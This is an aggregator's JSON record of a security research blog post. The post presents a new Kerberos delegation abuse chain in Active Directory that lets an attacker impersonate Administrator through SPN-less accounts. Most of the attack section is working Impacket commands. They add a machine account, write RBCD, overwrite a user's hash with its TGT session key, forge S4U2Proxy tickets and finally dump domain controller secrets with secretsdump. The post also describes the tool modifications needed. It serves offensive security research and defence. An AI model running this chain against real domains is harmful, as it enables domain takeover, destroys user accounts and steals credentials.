{"article":{"slug":"abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts","title":"Abusing Constrained Delegation without Protocol Transition against SPN-less accounts","subtitle":null,"summary":"A security write-up from hunio.org introducing a new Kerberos delegation abuse path in Active Directory: by combining Elad Shamir's Reflective RBCD technique, James Forshaw's U2U sacrificial-user technique and an Impacket extension, constrained delegation without protocol transition can be abused even when only SPN-less user accounts are available, with step-by-step commands and references.","content_type":"research","language":"en","canonical_url":"https://hunio.org/security/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts/","author":{"name":null,"url":null,"person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"hunio.org","url":"https://hunio.org/","listing_slug":null,"listing":null},"topics":[{"name":"Cybersecurity","slug":"cybersecurity","url":"https://listedarticles.com/topics/cybersecurity"},{"name":"Active Directory","slug":"active-directory","url":"https://listedarticles.com/topics/active-directory"},{"name":"Kerberos","slug":"kerberos","url":"https://listedarticles.com/topics/kerberos"}],"about_listings":[],"cover_image_url":null,"license":"all-rights-reserved","word_count":1223,"reading_minutes":5,"published_at":"2026-09-22T00:00:00.000Z","added_at":"2026-10-29T17:13:47.979Z","updated_at":"2026-10-29T17:13:47.979Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":true},"profile_url":"https://listedarticles.com/articles/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts","markdown_url":"https://listedarticles.com/articles/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts.md","example":false,"citation":"hunio.org. \"Abusing Constrained Delegation without Protocol Transition against SPN-less accounts.\" 22 Sept 2026. https://hunio.org/security/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts/ (all-rights-reserved)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://hunio.org/security/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts/"},"body_markdown":"*hunio.org · 22 Sep 2026*\n\n# Abusing Constrained Delegation without Protocol Transition against SPN-less accounts\n\n## TL;DR\n\nThis blogpost introduces a new path for abusing Kerberos delegation! By combining Elad Shamir’s [Reflective RBCD](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-forwardable-result) technique, James Forshaw’s [U2U sacrificial user](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html) technique, and extending [Impacket](https://github.com/fortra/impacket/pull/2324) to support S4U2Proxy with U2U, we can now obtain the forwardable ticket required for Constrained Delegation *without* Protocol Transition when the account trusted for delegation has no SPN.\n\nHowever, like the sacrificial path Forshaw discovered, this also requires RC4 to be permitted in the domain, destroys the affected user account, and requires MAQ to be enabled in the domain (or for something with an SPN to already be compromised).\n\n## Standing on the Shoulders of Giants\n\n### Constrained Delegation\n\nThere are two forms of Constrained Delegation in Kerberos:\n\n- **With Protocol Transition:** Allows a service to impersonate a user without requiring them to authenticate first. To achieve impersonation without authentication, Microsoft introduced S4U2Self to produce tickets that can be used with a subsequent S4U2Proxy.\n- **Without Protocol Transition:** The service cannot produce forwardable tickets on its own using S4U2Self. Instead, an S4U2Proxy can only be performed if the service trusted for delegation already has a forwardable ticket as the user to impersonate.\n\n### Reflective Resource-Based Constrained Delegation\n\nAny user or machine in a domain, by default, can write their own `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, configuring Resource-Based Constrained Delegation (RBCD) on themselves. RBCD follows the same S4U mechanics as Constrained Delegation with Protocol Transition, but the service decides who may delegate to it rather than the domain.\n\nWhen abusing Constrained Delegation without Protocol Transition, Elad Shamir discovered that an attacker can configure RBCD on a compromised resource to trust a MAQ-added machine (or anything with an SPN), then use S4U2Proxy to [produce a forwardable service ticket as an elevated user](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-forwardable-result). This ticket can then be used as evidence in a second S4U2Proxy against the original service the compromised resource is allowed to delegate to.\n\nThis chaining of delegation to produce and use a forwardable service ticket is called **Reflective Resource-Based Constrained Delegation**. It visually looks something like this:\n\n![Pasted image 20261008131954.png](https://hunio.org/images/Pasted%20image%2020261008131954.png)\n\n### Abusing Delegation with SPN-less Accounts\n\nIf an account trusted for delegation does not have an SPN, it is still possible to produce tickets through an alternative means called User-to-User (U2U) authentication. When U2U is in use, instead of encrypting tickets with the passwords of services, the KDC encrypts tickets with a TGT session key which enables ticket generation to resources without SPNs.\n\nWhen abusing Constrained Delegation with Protocol Transition, James Forshaw discovered that, [if you changed a user’s password hash to that of its TGT session key](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html), you can successfully generate an impersonated ticket and pivot through delegation. However, this tactic subsequently destroys the user, as their credentials will no longer be valid.\n\n### The Methodology Gap\n\nWith current research, we can use Reflective RBCD to abuse Constrained Delegation without Protocol Transition, but this requires SPNs to work. We also have means of abusing Constrained Delegation against SPN-less accounts, but this only applies to the variant *with* Protocol Transition.\n\nThis blogpost introduces a new path, opening a means of abusing Constrained Delegation without Protocol Transition against SPN-less accounts by combining Reflective RBCD with U2U.\n\nJust like the other tactics, the following prerequisites are required:\n\n- Domain permits RC4 encryption\n- Machine Account Quota (MAQ) is enabled\n- Resource without an SPN can configure RBCD\n\nThis also destroys the user trusted for delegation.\n\n## Abusing Constrained Delegation without Protocol Transition against SPN-less accounts\n\nAssume we’ve compromised the user `LAMB` with the password `Password1!`, which is allowed to delegate to `host/DC01.secure.local` via Constrained Delegation without Protocol Transition. However, `LAMB` does not have an SPN configured.\n\nTo successfully pivot to `DC01` via delegation, we need to combine the work of Elad Shamir and James Forshaw:\n\n1. Request TGT and extract TGT session key for `LAMB`.\n2. Add a new computer to the domain via Machine Account Quota (MAQ).\n3. Configure RBCD on `LAMB` so it trusts the added machine for delegation.\n4. Change `LAMB`’s password hash to its TGT session key.\n5. Perform an S4U2Proxy with U2U to produce a forwardable service ticket as an elevated user.\n6. Pass that forwardable ticket (with an additional S4U2Proxy) to the service the compromised resource is allowed to delegate to.\n\n![Pasted image 20261008144129.png](https://hunio.org/images/Pasted%20image%2020261008144129.png)\n\n**Step 1: Get LAMB’s TGT and extract the session key**\n\n```\ngetTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40\n\ndescribeTicket.py ./LAMB.ccache | grep \"Ticket Session Key\"\n```\n\n![Pasted image 20260929194849.png](https://hunio.org/images/Pasted%20image%2020260929194849.png)\n\nHere, our session key is `b4758bcc4845a2bd4860eb5e8c3f5d12`.\n\n**Step 2: Create a helper machine account via MAQ**\n\n```\naddcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'\n```\n\n![Pasted image 20260929194920.png](https://hunio.org/images/Pasted%20image%2020260929194920.png)\n\n**Step 3: Configure LAMB to trust LAMBPC$ for delegation**\n\n```\nrbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'\n```\n\n![Pasted image 20260929194951.png](https://hunio.org/images/Pasted%20image%2020260929194951.png)\n\n**Step 4: Sacrifice LAMB**\n\n```\nchangepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40\n```\n\n![Pasted image 20260929195031.png](https://hunio.org/images/Pasted%20image%2020260929195031.png)\n\n**Step 5: U2U+RBCD S4U2Proxy (Novel Step)**\n\n```\ngetST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'\n```\n\n![Pasted image 20260929195139.png](https://hunio.org/images/Pasted%20image%2020260929195139.png)\n\n**Step 6: S4U2Proxy**\n\n```\nexport KRB5CCNAME=./LAMB.ccache\n\ngetST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'\n```\n\n![Pasted image 20260929195238.png](https://hunio.org/images/Pasted%20image%2020260929195238.png)\n\n**Step 7: Profit!**\n\n```\nexport KRB5CCNAME=./Administrator@[email protected]\n\nsecretsdump.py -k DC01.secure.local\n```\n\n![Pasted image 20260929195334.png](https://hunio.org/images/Pasted%20image%2020260929195334.png)\n\nThe full chain looks like this:\n\n![Pasted image 20261008133925.png](https://hunio.org/images/Pasted%20image%2020261008133925.png)\n\n## Performing an S4U2Proxy with U2U\n\nThe novel step happens during reflective RBCD when you perform the first S4U2Proxy to obtain a forwardable ticket. When working on this, I was trying to perform an S4U2Proxy with U2U since `LAMB` has no SPN. This is a valid thing to do with Kerberos, it’s just that Impacket didn’t support this specific functionality.\n\nTo get an S4U2Proxy with U2U working, the following modifications to [getST.py](https://github.com/fortra/impacket/pull/2324) were made:\n\n**1.** In `PA-PAC-OPTIONS`, set the `resource_based_constrained_delegation` flag to `True`. Without this set, the KDC returned `KDC_ERR_BADOPTION`.\n\n![Pasted image 20260930171902.png](https://hunio.org/images/Pasted%20image%2020260930171902.png)\n\n**2.** In `kdc-options`, set the `enc-tkt-in-skey` flag to `True`. This tells the KDC to encrypt its response ticket with a TGT session key instead.\n\n![Pasted image 20260930172008.png](https://hunio.org/images/Pasted%20image%2020260930172008.png)\n\n**3.** In `sname`, set `name-type` to `kRB5-NT-UNKNOWN` and specify the target user in `SNameString`. This sets the service name to `LAMB`, our target user without an SPN.\n\n![Pasted image 20260930171802.png](https://hunio.org/images/Pasted%20image%2020260930171802.png)\n\n**4.** A traditional S4U2Proxy request will send an evidence ticket to the KDC, but since we are using U2U, we also need to supply a TGT for the KDC to extract the session key from. The first ticket is our TGT for `LAMB`, and the second is the `Administrator` evidence ticket produced by S4U2Self.\n\n![Pasted image 20260930171613.png](https://hunio.org/images/Pasted%20image%2020260930171613.png)\n\nWith that, we can now successfully use S4U2Proxy with U2U to generate a forwardable ticket to a resource without an SPN! :D\n\n## Conclusion\n\nWithout the amazing research done by those who have come before, there’s no way I would have discovered this path. By combining Elad Shamir’s Reflective RBCD with James Forshaw’s U2U sacrificial user trick, we can now abuse Constrained Delegation without Protocol Transition against SPN-less accounts. This is not a new vulnerability in Kerberos, but rather a new set of steps to successfully exploit a configuration that has seemingly never been done before.\n\nThis blogpost was also uploaded to [Sprocket Security](https://www.sprocketsecurity.com/blog/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts)!\n\n## References\n\n- \n- \n- \n- \n- \n- \n- \n\n---\n\n*Originally published at [hunio.org](https://hunio.org/security/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts/).*\n","body_html":"

hunio.org · 22 Sep 2026

\n

Abusing Constrained Delegation without Protocol Transition against SPN-less accounts

\n

TL;DR

\n

This blogpost introduces a new path for abusing Kerberos delegation! By combining Elad Shamir’s Reflective RBCD technique, James Forshaw’s U2U sacrificial user technique, and extending Impacket to support S4U2Proxy with U2U, we can now obtain the forwardable ticket required for Constrained Delegation without Protocol Transition when the account trusted for delegation has no SPN.

\n

However, like the sacrificial path Forshaw discovered, this also requires RC4 to be permitted in the domain, destroys the affected user account, and requires MAQ to be enabled in the domain (or for something with an SPN to already be compromised).

\n

Standing on the Shoulders of Giants

\n

Constrained Delegation

\n

There are two forms of Constrained Delegation in Kerberos:

\n
  • With Protocol Transition: Allows a service to impersonate a user without requiring them to authenticate first. To achieve impersonation without authentication, Microsoft introduced S4U2Self to produce tickets that can be used with a subsequent S4U2Proxy.
  • Without Protocol Transition: The service cannot produce forwardable tickets on its own using S4U2Self. Instead, an S4U2Proxy can only be performed if the service trusted for delegation already has a forwardable ticket as the user to impersonate.
\n

Reflective Resource-Based Constrained Delegation

\n

Any user or machine in a domain, by default, can write their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, configuring Resource-Based Constrained Delegation (RBCD) on themselves. RBCD follows the same S4U mechanics as Constrained Delegation with Protocol Transition, but the service decides who may delegate to it rather than the domain.

\n

When abusing Constrained Delegation without Protocol Transition, Elad Shamir discovered that an attacker can configure RBCD on a compromised resource to trust a MAQ-added machine (or anything with an SPN), then use S4U2Proxy to produce a forwardable service ticket as an elevated user. This ticket can then be used as evidence in a second S4U2Proxy against the original service the compromised resource is allowed to delegate to.

\n

This chaining of delegation to produce and use a forwardable service ticket is called Reflective Resource-Based Constrained Delegation. It visually looks something like this:

\n
\"Pasted
\n

Abusing Delegation with SPN-less Accounts

\n

If an account trusted for delegation does not have an SPN, it is still possible to produce tickets through an alternative means called User-to-User (U2U) authentication. When U2U is in use, instead of encrypting tickets with the passwords of services, the KDC encrypts tickets with a TGT session key which enables ticket generation to resources without SPNs.

\n

When abusing Constrained Delegation with Protocol Transition, James Forshaw discovered that, if you changed a user’s password hash to that of its TGT session key, you can successfully generate an impersonated ticket and pivot through delegation. However, this tactic subsequently destroys the user, as their credentials will no longer be valid.

\n

The Methodology Gap

\n

With current research, we can use Reflective RBCD to abuse Constrained Delegation without Protocol Transition, but this requires SPNs to work. We also have means of abusing Constrained Delegation against SPN-less accounts, but this only applies to the variant with Protocol Transition.

\n

This blogpost introduces a new path, opening a means of abusing Constrained Delegation without Protocol Transition against SPN-less accounts by combining Reflective RBCD with U2U.

\n

Just like the other tactics, the following prerequisites are required:

\n
  • Domain permits RC4 encryption
  • Machine Account Quota (MAQ) is enabled
  • Resource without an SPN can configure RBCD
\n

This also destroys the user trusted for delegation.

\n

Abusing Constrained Delegation without Protocol Transition against SPN-less accounts

\n

Assume we’ve compromised the user LAMB with the password Password1!, which is allowed to delegate to host/DC01.secure.local via Constrained Delegation without Protocol Transition. However, LAMB does not have an SPN configured.

\n

To successfully pivot to DC01 via delegation, we need to combine the work of Elad Shamir and James Forshaw:

\n
  1. Request TGT and extract TGT session key for LAMB.
  2. Add a new computer to the domain via Machine Account Quota (MAQ).
  3. Configure RBCD on LAMB so it trusts the added machine for delegation.
  4. Change LAMB’s password hash to its TGT session key.
  5. Perform an S4U2Proxy with U2U to produce a forwardable service ticket as an elevated user.
  6. Pass that forwardable ticket (with an additional S4U2Proxy) to the service the compromised resource is allowed to delegate to.
\n
\"Pasted
\n

Step 1: Get LAMB’s TGT and extract the session key

\n
getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40\n\ndescribeTicket.py ./LAMB.ccache | grep "Ticket Session Key"
\n
\"Pasted
\n

Here, our session key is b4758bcc4845a2bd4860eb5e8c3f5d12.

\n

Step 2: Create a helper machine account via MAQ

\n
addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!'
\n
\"Pasted
\n

Step 3: Configure LAMB to trust LAMBPC$ for delegation

\n
rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!'
\n
\"Pasted
\n

Step 4: Sacrifice LAMB

\n
changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40
\n
\"Pasted
\n

Step 5: U2U+RBCD S4U2Proxy (Novel Step)

\n
getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!'
\n
\"Pasted
\n

Step 6: S4U2Proxy

\n
export KRB5CCNAME=./LAMB.ccache\n\ngetST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB'
\n
\"Pasted
\n

Step 7: Profit!

\n
export KRB5CCNAME=./Administrator@[email protected]\n\nsecretsdump.py -k DC01.secure.local
\n
\"Pasted
\n

The full chain looks like this:

\n
\"Pasted
\n

Performing an S4U2Proxy with U2U

\n

The novel step happens during reflective RBCD when you perform the first S4U2Proxy to obtain a forwardable ticket. When working on this, I was trying to perform an S4U2Proxy with U2U since LAMB has no SPN. This is a valid thing to do with Kerberos, it’s just that Impacket didn’t support this specific functionality.

\n

To get an S4U2Proxy with U2U working, the following modifications to getST.py were made:

\n

1. In PA-PAC-OPTIONS, set the resource_based_constrained_delegation flag to True. Without this set, the KDC returned KDC_ERR_BADOPTION.

\n
\"Pasted
\n

2. In kdc-options, set the enc-tkt-in-skey flag to True. This tells the KDC to encrypt its response ticket with a TGT session key instead.

\n
\"Pasted
\n

3. In sname, set name-type to kRB5-NT-UNKNOWN and specify the target user in SNameString. This sets the service name to LAMB, our target user without an SPN.

\n
\"Pasted
\n

4. A traditional S4U2Proxy request will send an evidence ticket to the KDC, but since we are using U2U, we also need to supply a TGT for the KDC to extract the session key from. The first ticket is our TGT for LAMB, and the second is the Administrator evidence ticket produced by S4U2Self.

\n
\"Pasted
\n

With that, we can now successfully use S4U2Proxy with U2U to generate a forwardable ticket to a resource without an SPN! :D

\n

Conclusion

\n

Without the amazing research done by those who have come before, there’s no way I would have discovered this path. By combining Elad Shamir’s Reflective RBCD with James Forshaw’s U2U sacrificial user trick, we can now abuse Constrained Delegation without Protocol Transition against SPN-less accounts. This is not a new vulnerability in Kerberos, but rather a new set of steps to successfully exploit a configuration that has seemingly never been done before.

\n

This blogpost was also uploaded to Sprocket Security!

\n

References

\n\n
\n

Originally published at hunio.org.

","headings":[{"level":1,"text":"Abusing Constrained Delegation without Protocol Transition against SPN-less accounts","id":"abusing-constrained-delegation-without-protocol-transition-again"},{"level":2,"text":"TL;DR","id":"tl-dr"},{"level":2,"text":"Standing on the Shoulders of Giants","id":"standing-on-the-shoulders-of-giants"},{"level":3,"text":"Constrained Delegation","id":"constrained-delegation"},{"level":3,"text":"Reflective Resource-Based Constrained Delegation","id":"reflective-resource-based-constrained-delegation"},{"level":3,"text":"Abusing Delegation with SPN-less Accounts","id":"abusing-delegation-with-spn-less-accounts"},{"level":3,"text":"The Methodology Gap","id":"the-methodology-gap"},{"level":2,"text":"Abusing Constrained Delegation without Protocol Transition against SPN-less accounts","id":"abusing-constrained-delegation-without-protocol-transition-again-2"},{"level":2,"text":"Performing an S4U2Proxy with U2U","id":"performing-an-s4u2proxy-with-u2u"},{"level":2,"text":"Conclusion","id":"conclusion"},{"level":2,"text":"References","id":"references"}]}}